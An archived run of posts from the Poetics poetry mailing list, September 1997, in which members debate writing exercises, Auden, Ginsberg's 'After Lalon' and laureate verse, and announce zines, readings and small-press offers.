in oyster dust her caught eyes following the trail of sash over blood lines leaking from the corner of my lips her smile in rubber smock

as I sign for your effects

slipping my business card between her oyster-wet fingers smelling of you shedding the last

tears onto the tile floor my smile leaking

your tears your inviolability to hurry home to feel your rising hum your bread your oyster toe inside of me drinking from the well felt of my belly

your rhythms your words your fine sense of control you tender orchestrations your scorings for timpani your felt-covered toe thumping inside of me your calling me "patches."

to hurry home & slip into seamless bamboo.

.....) THIS HAS BEEN A TEST OF THE ERMINEGENTSY BARDGUEST HISTAMINE - IF THIS HAD BEEN A REEL AGENCY YOU'D BE PLOMBED BY NOW - sayonara.

---------- [Add NewTopic]

---------- .LOG OUT .

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↑ Index

270. Hugh Steinberg
Re: more exercise
Wed 17 Sep 1997

I tend to agree with both sides in this debate, that exercises are useful and can lead to good or even great poems, and that poetry at heart is mysterious, without recipes, maps or a decent set of directions, driven by intuition, wisdom, and sweat.

But amidst the handwringing, I'd like to point that poetry is also, well, fun, and that a poem can be pleasurable no matter what its origins.

Hugh Steinberg

↑ Index

271. **Peter Ganick**
announce POTEPOETZINEFOUR
Wed 17 Sep 1997

POTEPOETZINEFOUR, the women's writing issue
of POTEPOETZINE, will be sent out this afternoon
eastern daylight time----
for a free copy, send your email address to:
[redacted] ---
to see previous issues of POTEPOETZINE, go to:
http://www.ims.csuohio.edu/va/VAIntro.html ---
intructions for submitting poetry will be included in
the issue----

↑ Index

272. **henry g**
ashbery/theroux article
Wed 17 Sep 1997

I missed the original talk about the Theroux review(?) essay(?) on Ashbery & someone's been bugging me about it - can anyone please backchannel where/ when it was published, or if it's online? Thanks - Henry [redacted]

↑ Index

273. **Rebecca Reynolds**
Re: living exercises
Wed 17 Sep 1997

> *Auden and any number of poets likely detested by many on this List have uttered similar apothegms. The serious disagreement concerns the originality or radicalness of the restraint, not its presence.*

Is Auden detested by many on this list? At times, I don't know what to think (but I have been sitting alone with my thoughts -- and am weak --)

rreynolds

without
                hymns

↑ Index

274. Mark W Scroggins
Re: living exercises
Wed 17 Sep 1997

No doubt Auden is more often detested than read...
what, me cynical?
Mark Scroggins

On Wed, 17 Sep 1997, Rebecca Reynolds wrote:

> *Auden and any number of poets likely detested by many*
> *on this List have uttered similar apothegms. The serious disagreement*
> *concerns the originality or radicalness of the restraint, not its presence.*
>
> *Is Auden detested by many on this list? At times, I don't know what*
> *to think (but I have been sitting alone with my thoughts -- and am weak --)*
>
> *rreynolds*
>
> *without*
> *hymns*

↑ Index

275. aerialedge
New Mark Wallace & special offer from Edge Books
Wed 17 Sep 1997

3 new Edge books for $15! See end of post.

Announcing publication of

Nothing Happened and Besides I Wasn't There
by Mark Wallace

If Mark Wallace did the comedy circuit, all that big hair and those sweet drinks would riot in the streets. _Nothing Happened and Besides I Wasn't There_ is a series of one to six line stanzas all revamping the idea of the one-liner. But the joke is always frightening, a world where the 2x4s pounding the cat are hitting our heads and they hurt damn it, as they always make us stop and consider what we are. He is the existential joker: if Batman met the poet and it was for real. --Juliana Spahr

Mark Wallace's poetry is joyous, gloomy, frisky, reflective and vulnerable to a sense of the living world that he never tried to master, but to inhabit as a kind of sad old citizen, a belonger filled with longing. He loves the daily tunes, the ring of contemporary coinage, flashes of wry and sardonic humor, the lover's chagrin-- for the sake of the human conditions they are immediacies of, but it is

a music of heaven and hell he listens for in it all. The structure of identity is exploded in the form of a three-dimensional literary method in which the borders of personality, of self and nonself, are simultaneous and conflicting modes of expression. Sometimes he takes off like a reasonable lecturer who suddenly becomes demented. He speaks great truths as casually as if they were lies. --Ron Silliman

This amazing deflection of repetitive aphorisms swirls and spirals in upon itself, fueled by the delusory aggrandizements of the insidious institutions we call contemporary existence. Wallace manages to capture what it's like to find oneself all dressed up with no place to go. This is no book for the squeamish. Buy it if you have nothing better to do. You don't. --Joe Ross

WARNING: The Surgeon General has determined that reading _Nothing Happened and Besides I Wasn't There_ may harm your mental equilibrium, impede your ability to act as a cog, and imperil your most functional cliches. --Jefferson Hansen

OFFER: Get _Nothing Happened and Besides I Wasn't There_ by Mark Wallace, _perhaps this is a rescue fantasy_ by Heather Fuller, and _Stepping Razor_ by A.L.Nielsen for $15, or any 2 for $10. E-mail us your order and address and we'll bill you or send your check payable to Aerial/Edge to POBox 25642, Washington, DC 20007. All three books are perfectbound, together they retail for $29.50. This offer good til October 5th. We must charge postage on orders outside of the US. Thanks.

↑ Index

276. ShaunAnne Tangney Humanities 8-13-1997

Re: QUESTION FOR TRUE POETS

Wed 17 Sep 1997

On Wed, 17 Sep 1997, Markus Foutu wrote:

> *stop carping and go do your work*
>
> *markus*

which very much made me think of a poem of mine:

PASSIONATE DISEASE

caught
in the corner of my eye one
nearly summer solstice day in
the high sierras just before i
crushed it beneath my shoe
a cluster of blue

flowers--as tiny as stars--
and i thought:
this deliberate planet

driving
a hundred nights later
autumn and a grinning, wanton
cassiopeia presses agianst us as
we hurry home: cassiopeia but not
crabbed and scuttling
cancer
and i think,
this arbitrary planet

write
for knowledge and desire
are only momentary revelation
wind without windmills
assume
that there is a predecessor
of god and
finish your work but
don't dwell on it.

(September, 1996)

--ShaunAnne Tangney

↑ Index

277. Robert Archambeau

Auden

Wed 17 Sep 1997

> *Is Auden detested by many on this list? At times, I don't know what to think*

Can't speak for anyone else, but I'm very keen on the early Auden, always have been. And he has some very strange & radical poetry -- The Orators, had it been written in 1990 and not 1930, could have been published by Sun & Moon. The problem many people have with Auden is that his most interesting work isn't his best known, at least not in America. He'd written most of the poetry I really care about in the Auden canon before he came to this country in 1940. But the young Auden was radical in form and in politics, engage, and witty into the bargain.

--
Robert Archambeau
Department of English
Lake Forest College
Lake Forest, IL 60045
http://www.lfc.edu/~archamb/

Time ere poems Time ere plighted troth
Nor forward glance nor backward gaze at signs none
 --Brian Coffey

↑ Index

278. Timothy Materer
James Merrill Discussion Forum
Wed 17 Sep 1997

If you would like to join a James Merrill internet discussion forum, please do so by sending the command: SUBSCRIBE JM-L Yourfirstname Yourlastname (in the body of the message, with nothing on the subject line) to: [redacted]. Or send a note to Tim Materer at [redacted] for more information. --"THIS FICTIVE SPACE WE HERE INHABIT IS / THE STOP TO TIME"

Timothy Materer, 228 Tate Hall, English Department
University of Missouri, Columbia MO 65211
http://www.missouri.edu/~engtim

↑ Index

279. aldon l. nielsen
(no subject)
Wed 17 Sep 1997

To: [redacted], [redacted] Subject: Re: audenesque

Poetry makes one thing happen.

↑ Index

280. hg
Re: living exercises
Wed 17 Sep 1997

But somewhere always, nowhere particularly unusual,
Almost anywhere in the landscape of water and houses,
His crying competing unsuccessfully with the cry
Of the traffic or the birds, is always standing

The one who needs you, that terrified
Imaginative child who only knows you
As what the uncles call a lie,
But knows he has to be the future and that only
The meek inherit the earth, and is neither
Charming, successful, nor a crowd;
Alone among the noise and policies of summer,
His weeping climbs toward your life like a vocation.

- Auden, "Like a Vocation"

↑ Index

281. Stephen Cope
New Writing Series in San Diego
Wed 17 Sep 1997

For those of you in the San Diego area this Fall, here's the New Writing Series' schedule of events. Hope to see you there...

Stephen Cope

***

New Writing Series @ University of California, San Diego

Fall Schedule:

* Thursday, October 9: Luisa Futoransky

Born and raised in Buenas Aires, Luisa Futoransky has lived in Israel, Japan, Spain, and Italy, and currently resides in Paris, where she received the honors of the Chevelier des Arts et Lettres. Author of eight books, Futoransky's first book of poems in translation has just been published by Junction Press in San Diego.

* Wednesday, October 22: Fanny Howe

Internationally known poet and novelist Fanny Howe is the recipient of an NEA Award and a California Arts Council Fellowship. Her novel _Nod_ (from Sun & Moon Press) and her book of poems _One Crossed Out_ (from Greywolf Press) are both due out this Fall. She is Professor of Literature at UCSD.

* Wednesday, October 29: David Matlin

A poet and novelist, David Matlin's first novel, _How the Night is Divided_, was nominated for a National Book Circle Critics Award. His most recent work, _Vernooykill Creek_, is based on Matlin's expereinces teaching in one of the oldest Prison Education Programs in the nation.

* Wednesday, November 5: David Bromige

The author of 30 books of poetry, fiction, and song, and likened by Rochelle Owens to "a congenial terrorist equipped with a smart bomb," David Bromige has been the recipient of numerous awards, including a Gertrude Stein Award for Innovative Writing and the Poet Laureate Award from the University of California.

* Thursday, November 13: Adrian Castro

Born in Miami of Cuban and Dominican heritage, Adrain Castro writes out of a rhythmic, multi-lingual Afro-Carribean tradition. An accomplished performer as well as a writer, Castro's book _Cantos to Blood & Honey_ is forthcoming from Coach House Press.

* Thursday, November 20: Brenda Hillman

Brenda Hillman's most recent and most experimental book, _Loose Sugar_, is her fifth from Wesleyan University Press. In 1995, she edited _The Poetry of Emily Dickenson_ for Shambala Press. Her awards include a Guggenheim Fellowship, two Pushcart Prizes, and in 1993 she was a Pulitzer Prize Finalist.

***

All readings will be held at 4:30pm at the Performing Arts Space, Visual Arts Department, on the University of California, San Diego campus, with the exception of Adrian Castro's reading, which will be held at a location to be announced.

Events are free and open to the public.

↑ Index

282. William Slaughter
Mudlark
Wed 17 Sep 1997

MUDLARK
An Electronic Journal
of Poetry & Poetics
'never in and never out of print'

_____

New and On View
at http://www.unf.edu/mudlark

******

MUDLARK No. 7 (1997)

Only a Friend Can Know by Mike O'Connor

Poems and Translations on the Theme of _Chih-yin_

In Chinese the characters _chih_ and _yin_ in combination mean literally "to know the tone" or "the one who knows the tone or music." By extension, the term denotes "the one who understands or appreciates another's art"; thus, "the one who understands the mind and heart of another--a true friend."
from the Introduction

******

Poster No. 7 (1997)

"The Biggest Party Animal of Them All"
by Robert Sward

******

Spread the word. Far and wide,

William Slaughter

_____

[redacted]

↑ Index

283. Mark Baker
Re: living exercises
Thu 18 Sep 1997

"O what have you posted?" said reader to writer,
"POETICS' the place where no poet is dissed,
Hither's the bandwidth where banter is pleasant,
This is the List where Wystan's most missed."

"O do you imply," said queasy to quizzer,
"That Koch will deny his debt to the Face?
Didn't Auden tap Ashbery that year for the Yale?
That slur on our List is a shocking disgrace!"

Mark Baker

↑ Index

284. Markus Foutu
Re: QUESTION FOR TRUE POETS
Thu 18 Sep 1997

truely a lovely poem but I would push it here

writes

knowledge desires
momentary revelation
wind
mills

assume

work &
dwell

warmest,

Foutu

↑ Index

285. Layne Russell
Re: more exercise
Thu 18 Sep 1997

Hugh Steinberg wrote:
>
> I tend to agree with both sides in this debate, that exercises are useful
> and can lead to good or even great poems, and that poetry at heart is
> mysterious, without recipes, maps or a decent set of directions, driven by
> intuition, wisdom, and sweat.
>
> But amidst the handwringing, I'd like to point that poetry is also, well,
> fun, and that a poem can be pleasurable no matter what its origins.
>
> Hugh Steinberg

bravo!

Layne

http://www.sonic.net/layne
"A Quiet Place" -- Poetry
http://www.sonic.net/layne/calendar.html
"Poets Leave Their Prints" -- Poetry Calendar

↑ Index

286. **rob wilson**
I had my chance and lost it
Thu 18 Sep 1997

In today's NYT Times, there is a highly uninformative piece called "The Howl of a Poet and Hist Generation" on some PBS special American Masters: The Life and Times of Allen Ginsberg (sounds like a criminal). Anyway, Gisberg is quoted as sayng, towards the end of his life (or that tv show), "I had my chance and lost it." Does anybody know the context of that remark? Is AG looking back on his poetic career as a failed project, or somethiing that swerved towards market banality or more devious forms of corruption. It seems a hard remark, full of pathos of a failed agon. Did he dfeel like it was all downhill from Howl to Randowm House jottings? Rob Wilson

↑ Index

287. **Maria Damon**
Re: living exercises
Thu 18 Sep 1997

At 9:53 PM -0700 9/17/97, Mark Baker wrote:
>"O what have you posted?" said reader to writer,
>"POETICS' the place where no poet is dissed,
>Hither's the bandwidth where banter is pleasant,
>This is the List where Wystan's most missed."
>
>"O do you imply," said queasy to quizzer,
>"That Koch will deny his debt to the Face?
>Didn't Auden tap Ashbery that year for the Yale?
>That slur on our List is a shocking disgrace!"
>
>
>Mark Baker

nice play, shakespeare!

↑ Index

288. **jarnot**
Re: I had my chance and lost it
Thu 18 Sep 1997

Re: Rob Wilson's question: That remark of Allen's is actually from a poem, the one that ends "Allen Ginsberg says don't follow my path to extinction." [i think it's called "After Lalon"?]. It must be in White Shroud. There's definitely a

buddhist undertone to the statement "I had my chance and lost it", re: impermanence. It's actually kind of funny in that way. But also, i think it functions not as a comment on his own career (which i think he was pretty satisfied with) but as a comment on his role as a spokesperson, looking at the political and saying that in retrospect things could've been different. (even in terms of the route the left wing took toward the end of the 1960s). (which is also something that he talks about in the life and times video). lisa jarnot

> *In today's NYT Times, there is a highly uninformative piece called "The Howl of a Poet and Hist Generation" on some PBS special American Masters: The Life and Times of Allen Ginsberg (sounds like a criminal). Anyway, Gisberg is quoted as sayng, towards the end of his life (or that tv show), "I had my chance and lost it." Does anybody know the context of that remark? Is AG looking back on his poetic career as a failed project, or somethiing that swerved towards market banality or more devious forms of corruption. It seems a hard remark, full of pathos of a failed agon. Did he dfeel like it was all downhill from Howl to Randowm House jottings? Rob Wilson*

[redacted]
box 185/NY, NY 10009

↑ Index

289. ark E Peter
Re: I had my chance and lost it
Thu 18 Sep 1997

that line is from a poem called "After Lalon" and it is a funny/sad sort of retrospective of some of his life. there's a wonderful recording of it on "holy soul jelly roll" too.

mark

On Thu, 18 Sep 1997, rob wilson wrote:

> *In today's NYT Times, there is a highly uninformative piece called "The Howl of a Poet and Hist Generation" on some PBS special American Masters: The Life and Times of Allen Ginsberg (sounds like a criminal). Anyway, Gisberg is quoted as sayng, towards the end of his life (or that tv show), "I had my chance and lost it." Does anybody know the context of that remark? Is AG looking back on his poetic career as a failed project, or somethiing that swerved towards market banality or more devious forms of corruption. It seems a hard remark, full of pathos of a failed agon. Did he dfeel like it was all downhill from Howl to Randowm House jottings? Rob Wilson*

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290. **henry g**
Re: I had my chance and lost it -Reply
Thu 18 Sep 1997

I thought maybe he do the Ez in different voices - Uncle Hen

↑ Index

291. **Rachel Loden**
writing exercises of the glib & laureled
Thu 18 Sep 1997

Auden lovers and loathers alike might be (at least slightly) amused by "Four Poems and a Funeral," a Christopher Hitchens piece, at:

http://www.salonmagazine.com:80/sept97/news/news970911.html

Included is this perfectly awful bit of a Ted Hughes poem about the Queen Mum, which begins:

> It was an eerie vision! The Land of the Lion!
> Each clear creature, crystal bright,
> Honey-lit with lion-light,
> All dreaming together the Dream of the Lion.

And ends:

> A Queen's life is hard. Yet a Queen reigns
> Over the dream of her people, or nowhere.

Rule Britannia!

Rachel Loden

↑ Index

292. **Laura Mullen**
Re: writing exercises
Thu 18 Sep 1997

I'm coming in late to this so maybe someone's already put in the plug for the latest issue of _Chain_: Procedures, proof that the writing experiment (and hey, what isn't?) is alive & well & kicking ass.

↑ Index

293. Jack Foley
I had my chance and lost it -Reply
Thu 18 Sep 1997

The line is in a poem whose name I don't recall, but it's on the fourth CD in the box set called Holy Soul Jelly Roll (I believe). The specific context is ambiguous and teasing -- Ginsberg does not spell out what he means -- his life as a port, his life as a man -- could be everything -- but the line is delivered with stunning conviction ... as well as humor. -- JR Foley

>>> rob wilson <[redacted]> 09/18/97 07:13am >>>
In today's NYT Times, there is a highly uninformative piece called "The Howl of a Poet and Hist Generation" on some PBS special American Masters: The Life and Times of Allen Ginsberg (sounds like a criminal). Anyway, Gisberg is quoted as sayng, towards the end of his life (or that tv show), "I had my chance and lost it." Does anybody know the context of that remark? Is AG looking back on his poetic career as a failed project, or somethiing that swerved towards market banality or more devious forms of corruption. It seems a hard remark, full of pathos of a failed agon. Did he dfeel like it was all downhill from Howl to Randowm House jottings?
Rob Wilson

↑ Index

294. Mark W Scroggins
Re: writing exercises of the glib & laureled
Thu 18 Sep 1997

Rachel-- that Hughes piece is indeed dreadful! Ted seems to be following in the footsteps of such other outstanding poet laureates as Nahum Tate and company. Does anyone know any books or articles on the effects of official laureatehood on poets' work? Richard Helgerson's _Self-Crowned Laureates_ is great on Jonson, Spenser, & Milton, but his point is precisely that they seized or assumed a laureate-like position themselves; something creepy seems to happen when a poet gets officially appointed. Mark

On Thu, 18 Sep 1997, Rachel Loden wrote:

> *Auden lovers and loathers alike might be (at least slightly) amused by "Four Poems and a Funeral," a Christopher Hitchens piece, at:*
>
> *http://www.salonmagazine.com:80/sept97/news/news970911.html*
>
> *Included is this perfectly awful bit of a Ted Hughes poem about the Queen Mum, which begins:*

> *It was an eerie vision! The Land of the Lion!*
> *Each clear creature, crystal bright,*
> *Honey-lit with lion-light,*
> *All dreaming together the Dream of the Lion.*
>
> *And ends:*
>
> *A Queen's life is hard. Yet a Queen reigns*
> *Over the dream of her people, or nowhere.*
>
> *Rule Britannia!*
>
> *Rachel Loden*

↑ Index

295. **Gwyn McVay**
Re: writing exercises of the glib & laureled
Thu 18 Sep 1997

>>>It was an eerie vision! The Land of the Lion!
Each clear creature, crystal bright,
Honey-lit with lion-light,
All dreaming together the Dream of the Lion.

Rachel, except for the hackneyed b/b rhyme, are you quite positive this isn't late Ginsberg? No, he wouldn't have used "eerie." And all of this would have been run up in one line. Never mind.

Gwyn, musing

↑ Index

296. **rsillima**
Yo, Susan Clark!!
Thu 18 Sep 1997

Susan,

Will you backchannel me your "correct" email address. Your "spam protector" completely hides any reply address, even one I could subtract the "nospam" from.

And, no, I don't live on Biddle Road anymore.

Ron

Ron Silliman
262 Orchard Road

Paoli, PA 19301-1116
[redacted]
[redacted] (o)
[redacted] (fax)
[redacted]
[redacted]
http://writing.upenn.edu/epc/authors/silliman/

↑ Index

297. Burt Kimmelman

Ginsberg a la N Y Times

Thu 18 Sep 1997

From: ADMIN::FUNKHOUSER 18-SEP-1997 10:07:01.90
To: ADMIN::KIMMELMAN
CC:
Subj: RE: fyi

I believe the poem is called "Ode to Failure"
but I could be mistake.

Let me check.

AH!

I was wrong. The quote is from section VI of AG's poem
"After Lalon" which appears in Cosmopolitan Greetings (p 81)

feel free to forward it to the list...

-funk

↑ Index

298. Joe Amato/Kass Fleisher

Re: writing exercises

Thu 18 Sep 1997

---

laura, a few folks *have* mentioned the current issue of _chain_, but hey yeah---why not say it again (and again): in my view, one of the most interesting mags out there!...

best,

joe

↑ Index

299. Lawrence Upton.
Fw: Compuserve
Thu 18 Sep 1997

Thanks to all who have contacted with good will and similar stories of
> difficulty with internet service providers. I know this isn't to do with
> *poetry* but it is to do with how we talk to each other and will become
> increasingly relevant to all of us I believe. So one last - I hope -
> chapter.
>
> As I understand it Compuserve still claim not to understand what I want
and
> say they are keeping my account open. Two days ago, the amount of email
> finally choked my mail box but until then it seemed I wasnt replying to
> people. Meanwhile they made no further attempt to correct the bug in the
> system. So they were charging me for nothing.
>
> My card co just phoned. They had read through all the correspondence and
> had no trouble saying that they support me. They are dishonouring the
> deductions previously made - i.e. taking the money back - and writing to
> the HQ of Compuserve. So it can be done if you don't let them
steam-roller you.... L
>
>
>
>

↑ Index

300. David Kellogg
Chain
Thu 18 Sep 1997

I also must say a good word about this issue. My own little contribution to it is nothing, outclassed on page after exciting page. Bizarrely, mine wasn't the only piece composed through a reading of Descartes's _Discourse on Method_. (!)

Everyone subscribe!

Cheers,
David
~~~
~~~

[redacted] Durham, NC 27708
FAX [redacted] http://www.duke.edu/~kellogg/

There is no mantle
and it does not descend.

-- Thomas Kinsella

↑ Index

301. **mark weiss**
Re: writing exercises of the glib & laureled
Thu 18 Sep 1997

Few poets laureate have been the best of their generation--most, in fact, have been more like Tate or Prior, in a word, hacks. So they didn't have far to fall. And Wordsworth had lost the flame long before he got the royal nod. Dryden, on the other hand, did almost all his best work while in office. Hughes probably does better work after hours, but he's never been such a much himself.

At 11:32 AM 9/18/97 -0400, you wrote:
>Rachel--
>that Hughes piece is indeed dreadful! Ted seems to be following in the
>footsteps of such other outstanding poet laureates as Nahum Tate and
>company. Does anyone know any books or articles on the effects of
>official laureatehood on poets' work? Richard Helgerson's _Self-Crowned
>Laureates_ is great on Jonson, Spenser, & Milton, but his point is
>precisely that they seized or assumed a laureate-like position themselves;
>something creepy seems to happen when a poet gets officially appointed.
>Mark
>
>On Thu, 18 Sep 1997, Rachel Loden wrote:
>
>> Auden lovers and loathers alike might be (at least slightly) amused by
>> "Four Poems and a Funeral," a Christopher Hitchens piece, at:
>>
>> http://www.salonmagazine.com:80/sept97/news/news970911.html
>>
>> Included is this perfectly awful bit of a Ted Hughes poem about the
>> Queen Mum, which begins:
>>
>> It was an eerie vision! The Land of the Lion!
>> Each clear creature, crystal bright,
>> Honey-lit with lion-light,
>> All dreaming together the Dream of the Lion.

>>
>> And ends:
>>
>> A Queen's life is hard. Yet a Queen reigns
>> Over the dream of her people, or nowhere.
>>
>> Rule Britannia!
>>
>> Rachel Loden
>>
>
>

↑ Index

302. **red slider**

Re: writing exercises of the glib & laureled

Thu 18 Sep 1997

...

something creepy seems to happen when a poet gets officially appointed. Mark

yes, strangely counterpoised to post-nobels, supreme court appointments and other high-rollers casting ballast and rising into the statusphere and outta sight. Perhaps the laureate balloons already had too much gas? red

On Thu, 18 Sep 1997, Rachel Loden wrote:

> *Auden lovers and loathers alike might be (at least slightly) amused by "Four Poems and a Funeral," a Christopher Hitchens piece, at:*
>
> *http://www.salonmagazine.com:80/sept97/news/news970911.html*
>
> *Included is this perfectly awful bit of a Ted Hughes poem about the Queen Mum, which begins:*
>
> *It was an eerie vision! The Land of the Lion!*
> *Each clear creature, crystal bright,*
> *Honey-lit with lion-light,*
> *All dreaming together the Dream of the Lion.*
>
> *And ends:*
>
> *A Queen's life is hard. Yet a Queen reigns*
> *Over the dream of her people, or nowhere.*
>
> *Rule Britannia!*

> *Rachel Loden*

↑ Index

303. **p. durgin**
Re: Chain
Thu 18 Sep 1997

Mr. Kellogg et. al.

I guess I must have missed it initially
But how does one subscribe? Info anyone?

I[I]I [redacted] I[I]I

On Thu, 18 Sep 1997, David Kellogg wrote:

> *I also must say a good word about this issue. My own little contribution to it is nothing, outclassed on page after exciting page. Bizarrely, mine wasn't the only piece composed through a reading of Descartes's _Discourse on Method_. (!)*
>
> *Everyone subscribe!*
>
> *Cheers,*
> *David*
> *~~~

>> I tend to agree with both sides in this debate, that exercises are useful
>> and can lead to good or even great poems, and that poetry at heart is
>> mysterious, without recipes, maps or a decent set of directions, driven by
>> intuition, wisdom, and sweat.
>>
>> But amidst the handwringing, I'd like to point that poetry is also, well,
>> fun, and that a poem can be pleasurable no matter what its origins.
>>
>> Hugh Steinberg
>
>bravo!
>
>Layne

i 2nd that m-ocean.

↑ Index

305. **Maria Damon**
Re: Chain
Thu 18 Sep 1997

At 1:55 PM -0400 9/18/97, David Kellogg wrote:
>I also must say a good word about this issue. My own little contribution
>to it is nothing, outclassed on page after exciting page. Bizarrely, mine
>wasn't the only piece composed through a reading of Descartes's _Discourse
>on Method_. (!)
>
>Everyone subscribe!
>
>Cheers,
>David

ditto. it's humbling to be included w/ so much coolness.

↑ Index

306. **Christopher Alexander**
Re: Chain rxn
Thu 18 Sep 1997

---

p. durgin asks (of Chain):

> *I guess I must have missed it initially*
> *But how does one subscribe? Info anyone?*

I don't have a copy to hand (I'm, as we say, "at work"), but a quick look into my magickal mirror, oops, I mean the poetics archive (@ http://listserv.acsu.buffalo.edu/archives/poetics.html), reveals the following from Juliana Spahr <[redacted]>:

> $20 for two issues
> $12 for Chain / 5 on different languages
> $10 for Chain / 4 on process and procedures
>
> Free copy of the Lab Book upon request with a two issue subscription as long as supplies last.
>
> Email orders are accepted.
>
> Chain
> 3029 Lowrey Avenue, no. A-1102
> Honolulu, HI 96822
>
> Please make checks payable to Chain.

hey!! it's a great periodical, & they need the kale. btw, the Lab Book is very damn'd nice to have in the bargain—good work by yr fellows & some fellow listees.

Chris

..
Christopher W. Alexander etc.
nominative press collective

[redacted]
P.O. Box 522402 / Salt Lake City UT 84152-2402

http://choengmon.lib.utah.edu/~calexand/nonce

↑ Index

307. Alan Jen Sondheim
(no subject)
Thu 18 Sep 1997

-

This is for you.
This is working its way to you, this is coming to you, in spite of everyone.
This is for you, and you alone. This is private; you'll understand and no one else will.
I've given up my face. I have no face any more.
I have wood, stone, and cotton. I sparkle. I am fierce, beneath

cotton, stone, and wood.
This is the gift I can give you.
This is for you.

↑ Index

308. Wystan Curnow
Re: living exercises
Thu 18 Sep 1997

As On Kawara is wont to say, I am still alive,
and on the List,
    Wystan

↑ Index

309. Mark Baker
Re: living exercises
Thu 18 Sep 1997

And the defunct Wystan was wont to say he would be very,
very angry to meet another with his name.

"...abhorred in the Heav'ns are all
  self-proclaimed poets who, to wow an
  audience, utter some resonant lie."

--Wystan, "Ode to Terminus"

Mark Baker

On Fri, 19 Sep 1997, Wystan Curnow wrote:

> *As On Kawara is wont to say, I am still alive,*
> *and on the List,*
> *   Wystan*

↑ Index

310. Maria Damon
(no subject)
Thu 18 Sep 1997

At 5:40 PM -0400 9/18/97, Alan Jen Sondheim wrote:
>-
>
>
>

>
>This is for you.
>This is working its way to you, this is coming to you, in spite of
>everyone.
>This is for you, and you alone. This is private; you'll understand and no
>one else will.
>I've given up my face. I have no face any more.
>I have wood, stone, and cotton. I sparkle. I am fierce, beneath
>cotton, stone, and wood.
>This is the gift I can give you.
>This is for you.

oo lala, alan, yr so cool

↑ Index

311. Rachel Loden

Re: writing exercises of the glib & laureled

Fri 19 Sep 1997

Hmm, I do think there may be a wisp of AG's ghost wherever exclamation points wax ecstatic, but what I keep hearing, unfortunately, is "A Queen's life is hard" set to music, something like Gilbert & Sullivan's "A Policeman's Lot is Not a Happy One."

Rachel

Gwyn McVay wrote:
>
> >>>It was an eerie vision! The Land of the Lion!
> Each clear creature, crystal bright,
> Honey-lit with lion-light,
> All dreaming together the Dream of the Lion.
>
> Rachel, except for the hackneyed b/b rhyme, are you quite positive this
> isn't late Ginsberg? No, he wouldn't have used "eerie." And all of this
> would have been run up in one line. Never mind.
>
> Gwyn, musing

↑ Index

312. Jim Rosenberg
Re: Writing experiments
Fri 19 Sep 1997

Robert Drake:
> mention of Oulipo reminds me to mention a newish book i picked
> up last week in toronto: _Oulipo Laboratoy_ (Atlas Press, London
> 1995) featuring works by Queneau, Calvino, Fournel, Berge, Jouet
> & Mathews...

The most amazing Oulipo resource I know of is a *THREE VOLUME* _La Bibliotheque Oulipienne_ [apologies for omitted accents ...]. The publisher is Seghers, I'm showing an ISBN of 2-232-10308-0 for volume 1. This is in French, of course. For anyone truly interested in Oulipo, these volumes are a must-have. I'm not sure where one orders such things, I just found them sitting on the shelf the last time I was at a bookstore in Paris. (Amazon.com doesn't seem to have them; I just tried that ISBN at Amazon.com and came up empty.) Pierre?

Jim Rosenberg http://www.well.com/user/jer/
CIS: 71515,124
WELL: jer
Internet: [redacted]

↑ Index

313. aldon l. nielsen
(no subject)
Fri 19 Sep 1997

To: [redacted]
Subject: in which will be found what is set forth therein

1. September 16 Village Voice has a letter from JACKSON MACLOW responding to Kyle Gann's memorial to Conlon Nancarrow, published the preceding week. In answer to MacLow's question, Gann reports that Nancarrow was a friend of George Oppen's in Mexico -- There's a friendship I'd like to read more about -- Anybody have any info.?

2. Same issue includes notice of a new Lou Harrison CD that includes poetry along with his compositions in music. The CD is titled _Rapunzel and Other Works, and has been released by New Albion. The poems on the recording are read by Harrison.

3. SAME issue also includes first review I've seen of Don DeLillo's BIG new novel -- since I've managed to get through MASON & DIXON, I'll try to fit this one into my luggage soon.

4. -- Re: That PBS showing of THE LIFE AND TIMES OF AG -- Listophiles should be alerted to the fact that PBS is airing a much truncated version of Jerry Aronson's film -- the longer version is available on video tape at SOME rental outlets and stores -- has some unusual footage, including Ginsberg family home movies --

↑ Index

314. Herb Levy

Re: Nancarrow/Oppen: great companions or mere pals?

Fri 19 Sep 1997

Aldon Nielsen wrote:

> *1. September 16 Village Voice has a letter from JACKSON MACLOW responding to Kyle Gann's memorial to Conlon Nancarrow, published the preceding week. In answer to MacLow's question, Gann reports that Nancarrow was a friend of George Oppen's in Mexico -- There's a friendship I'd like to read more about -- Anybody have any info.?*

There is a brief mention in the biographical section of Gann's very good (and probably not too technical for non-musicians) book on Nancarrow's music of Oppen supplying composer/radio producer Charles Amirkhanian with Nancarrow's telephone number but that's it.

I cant' find my copy right now, but I'm pretty sure that I would have noticed a mention of Nancarrow in Mary Oppen's memoir.

Nancarrow and the Oppens certainly shared similar politics (Nancarrow left the States for Mexico after fighting in the Abraham Lincoln Brigades during the Spanish Civil War - he couldn't get a passport and was concerned about his leftist leanings causing trouble if he stayed in the US).

Nancarrow was pretty private about most things, I doubt there'll be more published on this from the music world, but I'll check with Kyle & see if he has any other info.

> *3. SAME issue also includes first review I've seen of Don DeLillo's BIG new novel -- since I've managed to get through MASON & DIXON, I'll try to fit this one into my luggage soon.*

Yeah, & they call DeLillo something like the greatest living writer of sentences.

If I hadn't read the headline, I'd have thought the complete Alphabet had been published without Ron announcing it to the poetics list.

Herb Levy

[redacted]

↑ Index

315. aerialedge
Re: Noncarrow and Oppen
Fri 19 Sep 1997

Don't think there's that much to be known. They were friends while Oppen was in Mexico City-- however after Oppen went back to the states he didn't keep in touch w/ Noncarrow. I have a memory of reading somewhere that Nancarrow was puzzled &/or hurt by this-- but likely it was a reflection of Oppen's feeling about his time there generally, his need to put all that behind him. He didn't even pick up Spanish, unsusual for a stay of that length. Again, to qualify-- this also possibly a reflection of his reasons for being there-- the political ostracism & other difficulties attended that. Rachel D or Peter Q if they're out there would have more to say of use than this "knowledge" I'm volunteering.

--Rod

↑ Index

316. simon
polish poets
Fri 19 Sep 1997

From: IPFW::SIMON 19-SEP-1997 16:47:01.00
To: MX%"[redacted]"
CC: SIMON
Subj: polish poets

Dear List,

A student recently returned from a summer in Poland. He is on fire to read/know (fairly) contemporary Polish poetry/Polish poets.

Other than the Nobel obvious, I confess ignorance. What's available in translation becomes crucial. Who/what do you recommend that's translated into either English or German?

bckchannel to
[redacted]

thanks,

beth simon

↑ Index

317. Burt Kimmelman
Noncarrow and Oppen
Fri 19 Sep 1997

Yes I too would love to hear more about Noncarrow and Oppen etc.

↑ Index

318. Stephen Cope
Re: Noncarrow and Oppen
Fri 19 Sep 1997

